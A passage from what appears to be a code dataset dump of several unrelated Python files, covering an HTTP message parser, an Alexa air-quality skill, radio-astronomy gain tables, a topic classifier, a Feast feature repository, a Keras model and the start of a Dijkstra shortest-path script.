if self.method != other.method:\n return False\n return True\n\n\"\"\"\nNow we move onto the actual messages. Now these methods come in 'two' forms\nas lines or as a whole body. And we will want to write out in the same fashion.\nThen we have in both a first line, headers lines, a gap and a body. Due to the\nsimilarities, there is a lot of overlap and so we are going to start with an\nHTTPMessage class\n\"\"\"\n\nclass HTTPMessage:\n # when creating a child class you should instantiate parseTopLine\n # and writeTopLine. Everything else is here for you! :D\n\n def __init__(self):\n self.version = Version(1.1)\n self.headers = []\n self.header_names = []\n self.body = ''\n self.has_body = False\n self.line_generator = None\n self.position = 'TOP'\n\n\n def Reset(self):\n # this should be called to clear the message and get it ready for\n # either parsing or create a message from scratch\n # this method will be called by ParseLine just before parsing the top\n # line, and by Parse before it does anything\n self.body = ''\n self.has_body = False\n self.headers = []\n self.header_names = []\n\n # I am adding these seemingly abnoxious methods for consistency in code\n # because for some classes setting and deleting using methods allows for\n # the class to constrain certain things in order to give you what you expect\n # you can still use just the attributes to set things, but these methods\n # will be safer both in terms of constraints and in terms of making\n # sure the attributes are in the right form\n\n def SetVersion(self, version):\n checkType(version, Version)\n self.version = version\n\n def AddHeader(self, header):\n checkType(header, Header)\n self.headers.append(header)\n self.header_names.append(header.name)\n # we check to see if this header indicates a body\n if header.name == 'Content-Length':\n self.has_body = True\n\n def SetBody(self, body):\n checkType(body, str)\n self.body = body\n self.has_body = True\n # now we are going to add a content length header\n header = Header('Content-Length', len(self.body))\n self.AddHeader(header)\n\n def parseTopLine(self, line):\n # parsing should return nothing and set everything to do with the line\n # instantiate it for each type of message individually\n # it shouldn't return anything\n pass\n\n def writeTopLine(self):\n # instantiate it for each type of message individually\n # it should return a string\n return 'Parent Message Object'\n\n def parseHeaderLine(self, line):\n # parsing should return nothing and set everything to do with the line\n # first we strip whitespace\n line = line.strip()\n # now we setup our header\n header = Header()\n # next we parse the line\n header.ParseLine(line)\n # and now we add the header to headers\n self.headers.append(header)\n self.header_names.append(header.name)\n # we check to see if this header indicates a body\n if header.name == 'Content-Length':\n self.has_body = True\n\n def ParseLine(self, line):\n # this method accepts each line of the document in order\n # and then parses them out, keeping track of state to know what\n # it is dealing with. It resets when None is passed in for line\n # first we check to check if the line is None\n if not line and not line == '':\n # in this case we reset parse line\n self.position = 'TOP'\n elif self.position == 'TOP':\n # first we reset the required state\n self.Reset()\n self.parseTopLine(line)\n self.position = 'HEADERS'\n elif self.position == 'HEADERS':\n # we have to check for the blank line before the body\n if line == '':\n self.position = 'BODY'\n # note that we just set things up for the body to\n # be absorbed but don't parse it out here (cause its not a line)\n else:\n self.parseHeaderLine(line)\n\n\n def lineGenerator(self):\n # I am going to make this a generator so that I can easily\n # iterate through lines, and make use of all of that jazz\n # we start with the top\n yield self.writeTopLine()\n # next we go onto the headers\n for header in self.headers:\n yield str(header)\n # now we create the empty line\n yield ''\n # and we finally return None to say this is finished\n # note that we do not write out the body here\n yield None\n\n def WriteLine(self):\n # this calls next on a line generator and creates one if there\n # isn't one.\n if not self.line_generator:\n self.line_generator = self.lineGenerator()\n line = next(self.line_generator)\n if not line and not line == '':\n # the generator has reached its end so we stop\n self.line_generator = None\n else:\n return line\n\n def WriteBody(self):\n return self.body\n\n def Parse(self, message):\n # this parses the entire message by splitting by newlines adding a None\n # to the end of those lines to signal the end of the parsing\n # first we reset all of the state that needs resetting\n self.Reset()\n # split by carriage return newline\n lines = message.split('\\r\\n')\n # now we just loop through the lines and once we get to the body lines\n # we add them to the following list\n body_lines = []\n for line in lines:\n if not self.position == 'BODY':\n self.ParseLine(line)\n else:\n body_lines.append(line)\n # now we join up the body and and add it\n body = '\\r\\n'.join(body_lines)\n self.AddBody(body)\n # and we are done once we reset the line parser\n self.ParseLine(None)\n\n\n def Write(self):\n # this calls writeline repeatedly until it returns None\n # it then joins by newline and we are done\n lines = []\n line = self.WriteLine()\n while line:\n lines.append(line)\n line = self.WriteLine()\n # now we join the lines\n message = '\\r\\n'.join(lines)\n # now we add the body\n message = '%s%s' % (message, self.body)\n return message\n\n def __str__(self):\n # this returns the entire message contained herein\n return self.Write()\n\nclass Response(HTTPMessage):\n\n # so responses have a status in addition to the version\n def __init__(self):\n HTTPMessage.__init__(self)\n self.status = Status(200)\n\n def SetStatus(self, status):\n checkType(status, Status)\n self.status = status\n\n def parseTopLine(self, line):\n # we are instantiating this for the response class\n # we have to do two things, we need to grab the version\n # and we need to grab the message\n # to do that we will use a regular expression that looks for the first\n # match of non-whitespace characters followed by one or more whitespace\n # characters, following by one number and then any number of any characters\n # our regular expression is\n re_expression = re.compile('([\\S]{1,})\\s{1,}([1-5][\\s\\S]*)')\n match = re.search(re_expression, line)\n if match:\n # we get the version\n version = Version()\n version.ParseLine(match.group(1))\n # now we get the status (note we are doing this before setting version\n # so that if something fails in the top line, it all fails)\n status = Status()\n status.ParseLine(match.group(2).strip())\n # now we set things\n self.version = version\n self.status = status\n else:\n raise Issue('Status Line Match Not Found in Input Line: %s' % line)\n\n def writeTopLine(self):\n # this is easy\n line = '%s %s' % (self.version, self.status)\n return line\n\nclass Request(HTTPMessage):\n\n # requests have a method and a url in addition to the status\n def __init__(self):\n HTTPMessage.__init__(self)\n self.url = None\n self.method = Method('GET')\n\n def SetUrl(self, url):\n checkType(url, Url)\n self.url = url\n\n def SetMethod(self, method):\n checkType(method, Method)\n self.method = method\n\n def parseTopLine(self, line):\n # we go like the response class here\n # our regular expression\n re_expression = re.compile('([\\S]{1,})\\s{1,}([\\S]{1,})\\s{1,}([\\S]{1,})')\n match = re.search(re_expression, line)\n if match:\n # we start creating things (and we create all before we set so that\n # if something fails, everything does)\n method = Method()\n method.ParseLine(match.group(1))\n url = Url()\n url.ParseLine(match.group(2))\n version = Version()\n version.ParseLine(match.group(3))\n # now we can set things\n self.method = method\n self.url = url\n self.version = version\n else:\n raise Issue('Request Line Match Not Found in Input Line: %s' % line)\n\n def writeTopLine(self):\n # easy peasy lemon squeezy\n line = '%s %s %s' % (self.method, self.url, self.version)\n return line\n","sub_path":"profx/httpmessage.py","file_name":"httpmessage.py","file_ext":"py","file_size_in_byte":26896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"610137144","text":"\"\"\"\r\nThis sample demonstrates a simple skill built with the Amazon Alexa Skills Kit.\r\nThe Intent Schema, Custom Slots, and Sample Utterances for this skill, as well\r\nas testing instructions are located at http://amzn.to/1LzFrj6\r\n\r\nFor additional samples, visit the Alexa Skills Kit Getting Started guide at\r\nhttp://amzn.to/1LGWsLG\r\n\"\"\"\r\n\r\nfrom __future__ import print_function\r\nimport requests\r\nskill_name = \"Air Quality Info\"\r\nhelp_city_name_text = (\"Please tell me your city. You can say \"\r\n \"my city is Delhi\")\r\nhelp_general = \"How can I help you?\"\r\ncity_slot = \"City\"\r\ncovered_slot = \"Covered\"\r\ncountries_slot = \"Countries\"\r\n\r\nconst_get_countries = \"https://api.openaq.org/v1/countries\"\r\nconst_get_cities = \"https://api.openaq.org/v1/cities\"\r\nconst_get_latest =\"https://api.openaq.org/v1/latest\"\r\n\r\n# --------------- Helpers that build all of the responses ----------------------\r\n\r\ndef build_speechlet_response(title, output, reprompt_text, should_end_session):\r\n return {\r\n 'outputSpeech': {\r\n 'type': 'PlainText',\r\n 'text': output\r\n },\r\n 'card': {\r\n 'type': 'Simple',\r\n 'title': \"SessionSpeechlet - \" + title,\r\n 'content': \"SessionSpeechlet - \" + output\r\n },\r\n 'reprompt': {\r\n 'outputSpeech': {\r\n 'type': 'PlainText',\r\n 'text': reprompt_text\r\n }\r\n },\r\n 'shouldEndSession': should_end_session\r\n }\r\n\r\n\r\ndef build_response(session_attributes, speechlet_response):\r\n return {\r\n 'version': '1.0',\r\n 'sessionAttributes': session_attributes,\r\n 'response': speechlet_response\r\n }\r\n\r\n\r\n# --------------- Functions that control the skill's behavior ------------------\r\n\r\ndef get_welcome_response():\r\n \"\"\" If we wanted to initialize the session to have some attributes we could\r\n add those here\r\n \"\"\"\r\n\r\n session_attributes = {}\r\n card_title = \"Welcome\"\r\n speech_output = \"Welcome Please tell me your city by saying, \" \\\r\n \"my favorite city is delhi\"\r\n # If the user either does not reply to the welcome message or says something\r\n # that is not understood, they will be prompted again with this text.\r\n reprompt_text = \"Please tell me your city by saying, \" \\\r\n \"my favorite color is Mumbai.\"\r\n should_end_session = False\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n\r\n\r\ndef handle_session_end_request():\r\n card_title = \"Session Ended\"\r\n speech_output = \"Thank you for trying the Alexa Skills Kit sample. \" \\\r\n \"Have a nice day! \"\r\n # Setting this to true ends the session and exits the skill.\r\n should_end_session = True\r\n return build_response({}, build_speechlet_response(\r\n card_title, speech_output, None, should_end_session))\r\n\r\n\r\ndef set_fact_of_city(intent, session):\r\n \"\"\" Sets the color in the session and prepares the speech to reply to the\r\n user.\r\n \"\"\"\r\n\r\n card_title = intent['name']\r\n session_attributes = {}\r\n should_end_session = False\r\n user_city = \"Delhi\"\r\n data = requests.get(const_get_latest, params={\"city\": user_city}, timeout=5).json()\r\n try:\r\n if data is not None:\r\n print(data)\r\n location = data['results'][0]['location']\r\n measure = data['results'][0]['measurements']\r\n for pm_data in measure:\r\n pm_name = pm_data['parameter']\r\n pm_value = pm_data['value']\r\n speech_output = \"Air Quality Data for {0} is for parameter {1} value is {2}\".format(user_city, pm_name,\r\n pm_value)\r\n\r\n else:\r\n print(\"query result is empty\")\r\n except:\r\n print(\"problem in getting data\")\r\n speech_output = \"Air Quality Data is not available\"\r\n\r\n speech_output = \"I'm not sure what your favorite color is. \" \\\r\n \"Please try again.\"\r\n reprompt_text = \"I'm not sure what your favorite color is. \" \\\r\n \"You can tell me your favorite color by saying, \" \\\r\n \"my favorite color is red.\"\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n\r\n\r\n# --------------- Events ------------------\r\n\r\ndef on_session_started(session_started_request, session):\r\n \"\"\" Called when the session starts \"\"\"\r\n\r\n print(\"on_session_started requestId=\" + session_started_request['requestId']\r\n + \", sessionId=\" + session['sessionId'])\r\n\r\n\r\ndef on_launch(launch_request, session):\r\n \"\"\" Called when the user launches the skill without specifying what they\r\n want\r\n \"\"\"\r\n\r\n print(\"on_launch requestId=\" + launch_request['requestId'] +\r\n \", sessionId=\" + session['sessionId'])\r\n # Dispatch to your skill's launch\r\n return get_welcome_response()\r\n\r\n\r\ndef on_intent(intent_request, session):\r\n \"\"\" Called when the user specifies an intent for this skill \"\"\"\r\n\r\n print(\"on_intent requestId=\" + intent_request['requestId'] +\r\n \", sessionId=\" + session['sessionId'])\r\n\r\n intent = intent_request['intent']\r\n intent_name = intent_request['intent']['name']\r\n user_city = \"Delhi\"\r\n # Dispatch to your skill's intent handlers\r\n if intent_name == \"GetAQForCityIntent\":\r\n return set_fact_of_city(intent, session)\r\n elif intent_name == \"AMAZON.HelpIntent\":\r\n return get_welcome_response()\r\n elif intent_name == \"AMAZON.CancelIntent\" or intent_name == \"AMAZON.StopIntent\":\r\n return handle_session_end_request()\r\n else:\r\n raise ValueError(\"Invalid intent\")\r\n\r\n\r\ndef on_session_ended(session_ended_request, session):\r\n \"\"\" Called when the user ends the session.\r\n\r\n Is not called when the skill returns should_end_session=true\r\n \"\"\"\r\n print(\"on_session_ended requestId=\" + session_ended_request['requestId'] +\r\n \", sessionId=\" + session['sessionId'])\r\n # add cleanup logic here\r\n\r\n\r\n# --------------- Main handler ------------------\r\n\r\ndef lambda_handler(event, context):\r\n \"\"\" Route the incoming request based on type (LaunchRequest, IntentRequest,\r\n etc.) The JSON body of the request is provided in the event parameter.\r\n \"\"\"\r\n print(\"event.session.application.applicationId=\" +\r\n event['session']['application']['applicationId'])\r\n\r\n \"\"\"\r\n Uncomment this if statement and populate with your skill's application ID to\r\n prevent someone else from configuring a skill that sends requests to this\r\n function.\r\n \"\"\"\r\n # if (event['session']['application']['applicationId'] !=\r\n # \"amzn1.echo-sdk-ams.app.[unique-value-here]\"):\r\n # raise ValueError(\"Invalid Application ID\")\r\n\r\n if event['request']['type'] == \"LaunchRequest\":\r\n return on_launch(event['request'], event['session'])\r\n elif event['request']['type'] == \"IntentRequest\":\r\n return on_intent(event['request'], event['session'])\r\n elif event['request']['type'] == \"SessionEndedRequest\":\r\n return on_session_ended(event['request'], event['session'])\r\n","sub_path":"air_quality_2.py","file_name":"air_quality_2.py","file_ext":"py","file_size_in_byte":7306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"42273101","text":"import numpy\nfrom arl.data.polarisation import *\nfrom arl_para.data.data_models import *\nimport copy\nfrom arl_para.test.Constants import *\nfrom arl_para.test.Utils import compute_baseline_index\n\ndef create_gaintable_from_visibility_para(vis: Visibility, time_width: float = None,\n frequency_width: float = None, **kwargs) -> GainTable:\n\n utimes = np.unique(vis.time)\n uant = np.unique(vis.antenna1)\n ufrequency = np.unique(vis.frequency)\n ntimes = len(utimes)\n nants = len(uant) + 1\n nfrequency = len(ufrequency)\n\n POLARISATION_FRAME = get_parameter(kwargs, \"polarisation_frame\", PolarisationFrame('linear'))\n receptor_frame = ReceptorFrame(POLARISATION_FRAME.type)\n nrec = receptor_frame.nrec\n\n gainshape = [1, nants, nfrequency, nrec, nrec]\n gain = numpy.ones(gainshape, dtype='complex')\n if nrec > 1:\n gain[..., 0, 1] = 0.0\n gain[..., 1, 0] = 0.0\n\n gain_weight = numpy.ones(gainshape)\n gain_time = utimes\n gain_frequency = ufrequency\n gain_residual = numpy.zeros([1, nfrequency, nrec, nrec])\n\n gt = GainTable(gain=gain, time=gain_time, weight=gain_weight, residual=gain_residual, frequency=gain_frequency,\n receptor_frame=receptor_frame)\n\n\n return gt\n\n\n\n\ndef gaintable_n_to_1(gains):\n gain = gains[0][1]\n gainshape = [len(gains), gain.nants, gain.nchan, gain.nrec, gain.nrec]\n gain_table = numpy.zeros(gainshape, dtype='complex')\n gain_weight = numpy.ones(gainshape)\n gain_time = numpy.zeros(len(gains))\n gain_frequency = gain.frequency\n gain_residual = numpy.zeros([len(gains), gain.nchan, gain.nrec, gain.nrec])\n for idx, g in gains:\n gain_table[idx] = g.gain\n gain_weight[idx] = g.weight\n gain_time[idx] = g.time[0]\n gain_residual[idx] = g.residual\n gt = GainTable(gain=gain_table, time=gain_time, weight=gain_weight, residual=gain_residual, frequency=gain_frequency,\n receptor_frame=gain.receptor_frame)\n\n return gt\n\ndef vis_timeslice_iter(vis: visibility_for_para, **kwargs) -> numpy.ndarray:\n timemin = numpy.min(vis.time)\n timemax = numpy.max(vis.time)\n\n timeslice = get_parameter(kwargs, \"timeslice\", None)\n if timeslice is None or timeslice == 'auto':\n vis_slices = get_parameter(kwargs, \"vis_slices\", None)\n if vis_slices is None:\n vis_slices = len(numpy.unique(vis.time))\n boxes = numpy.linspace(timemin, timemax, vis_slices)\n timeslice = (timemax - timemin) / vis_slices\n else:\n vis_slices = 1 + 2 * numpy.round((timemax - timemin) / timeslice).astype('int')\n boxes = numpy.linspace(timemin, timemax, vis_slices)\n\n for box in boxes:\n rows = numpy.abs(vis.time - box) <= 0.5 * timeslice\n yield rows\n\ndef apply_gaintable_para(vis: visibility_for_para, gt:GainTable, chan, inverse=False, iscopy=True, **kwargs):\n for chunk, rows in enumerate(vis_timeslice_iter(vis)):\n vistime = numpy.average(vis.time[rows])\n integration_time = numpy.average(vis.integration_time[rows])\n gaintable_rows = abs(gt.time - vistime) < integration_time / 2.0\n\n # Lookup the gain for this set of visibilities\n gain = gt.data['gain'][gaintable_rows]\n\n\n # The shape of the mueller matrix is\n ntimes, nant, nchan, nrec, _ = gain.shape\n visnant = len(numpy.unique(vis.antenna1)) + 1\n\n original = vis.vis[rows]\n applied = copy.deepcopy(original)\n for time in range(ntimes):\n for a1 in range(visnant - 1):\n for a2 in range(a1 + 1, visnant):\n if iscopy:\n mueller = numpy.kron(gain[time, a1, chan//4 , :, :], numpy.conjugate(gain[time, a2, chan//4, :, :]))\n else:\n mueller = numpy.kron(gain[time, a1, chan, :, :],\n numpy.conjugate(gain[time, a2, chan, :, :]))\n if inverse:\n mueller = numpy.linalg.inv(mueller)\n idx = time * visnant * (visnant - 1) // 2 + compute_baseline_index(a1, a2, visnant)\n applied[idx] = numpy.matmul(mueller, original[idx])\n\n vis.data['vis'][rows] = applied\n\n\n\n\n\n\n\n","sub_path":"arl_para/gaintable/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"323455889","text":"import warnings\n\nfrom kneed import KneeLocator\nfrom nltk import everygrams, RegexpParser\n\nfrom cset.classify import CSO, MODEL\nfrom cset.preprocess import tag_tokens\n\n# This is a POS regex pattern for some number of nouns, possibly preceded by some number of adjectives\nGRAMMAR = \"DBW_CONCEPT: {*+}\"\n\n\ndef classify_semantic(paper, min_similarity=.96):\n # Find adjective-noun or noun spans: JJ.* matches JJ, JJR, and JJS; NN.* matches NN, NNP, NNS\n pos_tags = tag_tokens(paper)\n grammar_parser = RegexpParser(GRAMMAR)\n # RegexpParser.parse returns a parse Tree\n parse = grammar_parser.parse(list(pos_tags))\n phrases = list(extract_phrases(parse))\n topics, topic_ngrams = ngrams_to_topics(phrases, min_similarity=min_similarity)\n return rank_topics(topics)\n\n\ndef match_ngram(ngram, merge=True):\n matches = []\n if len(ngram) > 1 and merge:\n temp_list_of_matches = {}\n list_of_merged_topics = {}\n for token in ngram:\n if token in MODEL:\n token_topics = MODEL[token]\n for topic_item in token_topics:\n temp_list_of_matches[topic_item[\"topic\"]] = topic_item\n try:\n list_of_merged_topics[topic_item[\"topic\"]] += 1\n except KeyError:\n list_of_merged_topics[topic_item[\"topic\"]] = 1\n for topic_x, count in list_of_merged_topics.items():\n if count >= len(ngram):\n matches.append(temp_list_of_matches[topic_x])\n return matches\n\n\ndef ngrams_to_topics(phrases, merge=True, min_similarity=.96):\n # Core analysis: find matches\n found_topics = {}\n successful_grams = {}\n for concept in phrases:\n for ngram in everygrams(concept.split(), 1, 3):\n # TODO: pick between 'phrase' and 'concept' terminology\n concept = \"_\".join(ngram)\n if concept in MODEL:\n # there's an exact match for the '_'-concatenated ngram in the ontology\n matches = MODEL[concept]\n else:\n # we'll instead search for ontology elements proximate in vector space\n matches = match_ngram(ngram, merge=merge)\n for match in matches:\n topic = match[\"topic\"]\n sim_t = match[\"sim_t\"]\n wet = match[\"wet\"]\n sim_w = match[\"sim_w\"]\n if sim_t >= min_similarity and topic in CSO[\"topics_wu\"]:\n if topic in found_topics:\n # tracking this match\n found_topics[topic][\"times\"] += 1\n found_topics[topic][\"gram_similarity\"].append(sim_w)\n # tracking the matched gram\n if concept in found_topics[topic][\"grams\"]:\n found_topics[topic][\"grams\"][concept] += 1\n else:\n found_topics[topic][\"grams\"][concept] = 1\n # tracking the most similar gram to the topic\n if sim_t > found_topics[topic][\"embedding_similarity\"]:\n found_topics[topic][\"embedding_similarity\"] = sim_t\n found_topics[topic][\"embedding_matched\"] = wet\n else:\n # creating new topic in the result set\n found_topics[topic] = {'grams': {concept: 1},\n 'embedding_matched': wet,\n 'embedding_similarity': sim_t,\n 'gram_similarity': [sim_w],\n 'times': 1,\n 'topic': topic}\n if sim_w == 1:\n found_topics[topic][\"syntactic\"] = True\n # reporting successful grams: it is the inverse of found_topics[\"topic\"][\"grams\"]\n if concept in successful_grams:\n successful_grams[concept].append(topic)\n else:\n successful_grams[concept] = [topic]\n return found_topics, successful_grams\n\n\ndef rank_topics(topics):\n max_value = 0\n scores = []\n for tp, topic in topics.items():\n topic[\"score\"] = topic[\"times\"] * len(topic['grams'].keys())\n scores.append(topic[\"score\"])\n if topic[\"score\"] > max_value:\n max_value = topic[\"score\"]\n for tp, topic in topics.items():\n if \"syntactic\" in topic:\n topic[\"score\"] = max_value\n # Selection of unique topics\n unique_topics = {}\n for tp, topic in topics.items():\n prim_label = CSO[\"primary_labels_wu\"].get(tp, tp)\n if prim_label == 'network_structures':\n print('Here I found you:', tp)\n if prim_label in unique_topics:\n if unique_topics[prim_label] < topic[\"score\"]:\n unique_topics[prim_label] = topic[\"score\"]\n else:\n unique_topics[prim_label] = topic[\"score\"]\n # ranking topics by their score. High-scored topics go on top\n sorted_topics = sorted(unique_topics.items(), key=lambda v: v[1], reverse=True)\n vals = []\n for tp in sorted_topics:\n # in 0, there is the topic, in 1 there is the info\n vals.append(tp[1])\n # suppressing some warnings that can be raised by the kneed library\n warnings.filterwarnings(\"ignore\")\n try:\n x = range(1, len(vals) + 1)\n knee_locator = KneeLocator(x, vals, direction='decreasing')\n if knee_locator.knee is None:\n # print(\"I performed a different identification of knee\")\n knee_locator = KneeLocator(x, vals, curve='convex', direction='decreasing')\n except ValueError:\n pass\n # Prune\n try:\n knee = int(knee_locator.knee)\n except TypeError:\n knee = 0\n except UnboundLocalError:\n knee = 0\n\n if knee > 5:\n try:\n knee += 0\n except TypeError:\n print(\"ERROR: \", knee_locator.knee, \" \", knee, \" \", len(sorted_topics))\n else:\n try:\n if sorted_topics[0][1] == sorted_topics[4][1]:\n top = sorted_topics[0][1]\n test_topics = [item[1] for item in sorted_topics if item[1] == top]\n knee = len(test_topics)\n else:\n knee = 5\n except IndexError:\n knee = len(sorted_topics)\n\n final_topics = [CSO[\"topics_wu\"][sorted_topics[i][0]] for i in range(0, knee)]\n return final_topics\n\n\ndef extract_phrases(parse: Tree):\n for node in parse:\n if isinstance(node, Tree) and node.label() == 'DBW_CONCEPT':\n # The tree matches the grammar\n yield collapse_tree(node)\n","sub_path":"cset/semantic.py","file_name":"semantic.py","file_ext":"py","file_size_in_byte":6829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"431234059","text":"from datetime import timedelta\n\nfrom feast import Entity, Feature, FeatureView, RedshiftSource, ValueType\n\n# Define an entity for the driver. Entities can be thought of as primary keys used to\n# retrieve features. Entities are also used to join multiple tables/views during the\n# construction of feature vectors\ndriver = Entity(\n # Name of the entity. Must be unique within a project\n name=\"driver_id\",\n # The join key of an entity describes the storage level field/column on which\n # features can be looked up. The join key is also used to join feature\n # tables/views when building feature vectors\n join_key=\"driver_id\",\n # The storage level type for an entity\n value_type=ValueType.INT64,\n)\n\n# Indicates a data source from which feature values can be retrieved. Sources are queried when building training\n# datasets or materializing features into an online store.\ndriver_stats_source = RedshiftSource(\n # The Redshift table where features can be found\n table=\"feast_driver_hourly_stats\",\n # The event timestamp is used for point-in-time joins and for ensuring only\n # features within the TTL are returned\n event_timestamp_column=\"event_timestamp\",\n # The (optional) created timestamp is used to ensure there are no duplicate\n # feature rows in the offline store or when building training datasets\n created_timestamp_column=\"created\",\n)\n\n# Feature views are a grouping based on how features are stored in either the\n# online or offline store.\ndriver_stats_fv = FeatureView(\n # The unique name of this feature view. Two feature views in a single\n # project cannot have the same name\n name=\"driver_hourly_stats\",\n # The list of entities specifies the keys required for joining or looking\n # up features from this feature view. The reference provided in this field\n # correspond to the name of a defined entity (or entities)\n entities=[\"driver_id\"],\n # The timedelta is the maximum age that each feature value may have\n # relative to its lookup time. For historical features (used in training),\n # TTL is relative to each timestamp provided in the entity dataframe.\n # TTL also allows for eviction of keys from online stores and limits the\n # amount of historical scanning required for historical feature values\n # during retrieval\n ttl=timedelta(weeks=52),\n # The list of features defined below act as a schema to both define features\n # for both materialization of features into a store, and are used as references\n # during retrieval for building a training dataset or serving features\n features=[\n Feature(name=\"conv_rate\", dtype=ValueType.FLOAT),\n Feature(name=\"acc_rate\", dtype=ValueType.FLOAT),\n Feature(name=\"avg_daily_trips\", dtype=ValueType.INT64),\n ],\n # Batch sources are used to find feature values. In the case of this feature\n # view we will query a source table on Redshift for driver statistics\n # features\n batch_source=driver_stats_source,\n # Tags are user defined key/value pairs that are attached to each\n # feature view\n tags={\"team\": \"driver_performance\"},\n)\n","sub_path":"sdk/python/feast/templates/aws/driver_repo.py","file_name":"driver_repo.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"338445046","text":"\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Input, BatchNormalization, MaxPool1D, AveragePooling1D, Lambda\nfrom tensorflow.keras import backend\nimport numpy as np\n\nfrom custom_layers import pipe_model, conv_stack_1d\n\n# To Do\n# • Incomplete: Figure out why labels work despite mismatch\n# • Incomplete: Verify training is working correctly\n# • Incomplete: Rebuild rest of visualizations\n\ndef fan(input_size, exp_cfg):\n \"\"\"Constructs the frequency analysis neural network\"\"\"\n\n layers = []\n\n # Tack on any remaining regularization to convolution layer\n layers.append(\n conv_stack_1d(\n filters=exp_cfg.model.conv.filters,\n kernels=exp_cfg.model.conv.kernels,\n strides=exp_cfg.model.conv.strides,\n max_pool_sizes=exp_cfg.model.conv.max_pool_sizes,\n batch_norms=exp_cfg.model.conv.batch_norms,\n activation=\"sigmoid\",\n l2=exp_cfg.model.conv.l2,\n cross_activation_lambda=exp_cfg.model.conv.cross_activation_lambda,\n activation_lambda=exp_cfg.model.conv.activation_lambda,\n names=exp_cfg.model.conv.names\n )\n )\n\n # Max pooling layer\n layers.append(\n MaxPool1D(\n pool_size=exp_cfg.model.max_pool.pool_size,\n padding=exp_cfg.model.max_pool.padding\n )\n )\n\n # Average pooling layer\n layers.append(\n AveragePooling1D(\n pool_size=exp_cfg.model.avg_pool.pool_size,\n padding=exp_cfg.model.avg_pool.padding\n )\n )\n\n # Squeeze layer\n layers.append(\n Lambda(lambda x: backend.squeeze(x, axis=1))\n )\n\n # Rate modifier layer\n layers.append(\n Lambda(lambda x: x * exp_cfg.model.rate_modifier)\n )\n\n # Pipe model by feeding through input placeholder\n inputs = Input(shape=input_size)\n outputs = pipe_model(inputs, layers)\n\n print(\"Model inputs: {}\".format(inputs))\n print(\"Model outputs: {}\".format(outputs))\n\n return Model(inputs=inputs, outputs=outputs)\n\n\n\n\n","sub_path":"models/fan.py","file_name":"fan.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"183406929","text":"import sys\nimport json\n\nINFINITY = 999999999\n\ndef main():\n check_inputs()\n filename = sys.argv[1]\n start_node = sys.argv[2]\n end_node = sys.argv[3]\n\n # -------------------------------- TESTING VARS -------------------------------- #\n # filename = \"test-graph.dat\"\n # start_node = \"A\"\n # end_node = \"E\"\n\n lists = create_edge_dict(filename)\n node_ls = lists[\"node_ls\"]\n edge_dict = lists[\"edge_dict\"]\n # write_dict_to_file(\"edge_dict.json\", edge_dict)\n\n shortest_dists_from_start = create_shortest_dists_frm_start_dict(node_ls, start_node)\n # start_filename = f\"START_shortest_distances_from_{start_node}_start.json\"\n # write_dict_to_file(start_filename, shortest_dists_from_start)\n\n unvisited_nodes = set(node_ls)\n visited_nodes = set()\n\n current_node = None\n\n while unvisited_nodes:\n current_node = get_next_node(current_node, shortest_dists_from_start, unvisited_nodes, start_node)\n if current_node == \"break\":\n break\n\n for connected_node in edge_dict[current_node]:\n if connected_node in unvisited_nodes:\n distance = edge_dict[current_node][connected_node]\n\n # If distance via current node is shorted than the current saved \"shortest distance\", overwrite the\n # shortest distance and save the current_node as the via_node.\n if shortest_dists_from_start[current_node][\"distance\"] + distance < shortest_dists_from_start[connected_node][\"distance\"]:\n shortest_dists_from_start[connected_node][\"distance\"] = shortest_dists_from_start[current_node][\"distance\"] + distance\n shortest_dists_from_start[connected_node][\"via_node\"] = current_node\n \n # Move the current node out of univisted_nodes and into visited_nodes\n unvisited_nodes.remove(current_node)\n visited_nodes.add(current_node)\n\n # print(f\"Unvisted nodes = {unvisited_nodes}\")\n # print(f\"Visted nodes = {visited_nodes}\")\n\n end_filename = f\"shortest_distances_from_{start_node}_final.json\"\n write_dict_to_file(\"end_shortest_dist_dict.json\", shortest_dists_from_start)\n shortest_dist_frm_start_to_end = shortest_dists_from_start[end_node][\"distance\"]\n\n print(shortest_dist_frm_start_to_end)\n\n\ndef check_inputs():\n \"\"\"Checks the argv inputs of the executing shell script are correct.\n \n :raises ValueError: If there are not 4 args given.\n \"\"\"\n if len(sys.argv) != 4:\n raise ValueError(f\"There must be 4 args.\")\n\n\ndef create_edge_dict(filename):\n \"\"\"Create a list of nodes and a dictionary of edges.\n\n :param str filename: The name of the file in the current dir that contains the graph.\n\n :return: A dictionary containing:\n 1. A list of nodes in the graph (node_ls)\n 2. A dictionary that can be used to look up the length of the edge between 2 nodes (edge_dict).\n \"\"\"\n node_cnt = 0\n node_ls = []\n edge_cnt = 0\n edge_dict = {}\n \n with open(filename, \"r\") as f:\n for line in f:\n if not \" \" in line:\n # Add node no. to node list.\n node_ls.append(line.rstrip())\n node_cnt += 1\n\n # Add node no. to edge_dict.\n edge_dict[line.rstrip()] = {}\n else:\n edge = line.split(\" \")\n\n # check edge's nodes are in node_ls\n if not edge[0] in node_ls:\n print(node_ls)\n raise ValueError(f\"Edge 0 ({edge[0]}) is not in our node list.\")\n elif not edge[1] in node_ls:\n print(node_ls)\n raise ValueError(f\"Edge 1 ({edge[1]}) is not in our node list.\")\n\n # Create dict where key = 1st node of edge, value = {\"2nd node of edge\": distance}.\n # Will insert 2 entries into dict for each edge, one with node1 as the key and\n # one with node2 as the key.\n\n node1 = edge[0]\n node2 = edge[1]\n distance = edge[2].strip()\n edge_dict[node1][node2] = int(distance)\n edge_dict[node2][node1] = int(distance)\n edge_cnt += 1\n\n # Account for the count lines given in input file\n node_cnt -= 2\n gvn_node_cnt = int(node_ls[0])\n gvn_edge_cnt = int(node_ls[-1])\n 